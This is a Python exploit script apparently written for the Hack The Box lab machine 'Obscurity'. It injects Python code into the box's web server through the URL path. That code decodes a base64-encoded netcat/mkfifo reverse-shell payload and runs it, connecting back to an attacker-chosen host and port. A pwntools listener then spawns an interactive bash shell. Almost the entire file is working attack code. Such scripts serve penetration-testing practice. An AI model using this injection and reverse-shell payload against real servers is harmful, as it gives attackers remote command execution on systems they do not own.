# -*- coding: utf-8 -*-

# Obscurity HTB - Python Code Injection RCE
# CVE: -
# Exploit author: Renan Almeida
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import base64
import requests
import sys
from pwn import *


def main():

    # args
    argparser = argparse.ArgumentParser(description='Obscurity HTB - Python Code Injection RCE', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
                            
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite
    
    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }
   
    
    def reverse_shell(l):
        l.sendline("python3 -c \"import pty;pty.spawn('/bin/bash')\"")
        l.interactive()
    
    def exploit():
        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)
        payload = bytes(payload.encode('utf-8'))
        payload = base64.b64encode(payload).decode('ascii')
        py_payload = """+__import__('os').system('echo${{IFS}}"{}"|base64${{IFS}}-d|sh')+""".format(payload)
        
        l1 = log.progress("Exploiting the web application")
        
        l = listen(lport)
        
        try:
            if burpsuite:
                r = requests.get("http://10.10.10.168:8080/'{}'".format(py_payload), proxies=proxies, timeout=5)
            
            else:
                r = requests.get("http://10.10.10.168:8080/'{}'".format(py_payload), timeout=5)
        except:
            l1.success('Done!')
            log.info('Spawning the reverse shell...')
            
            reverse_shell(l)                                       
    
    # main
    log.info("Obscurity HTB - Python Code Injection RCE")
    log.info("Python script exploit author: nullarmor")
    
    exploit()
    
if __name__ == "__main__":
    main()
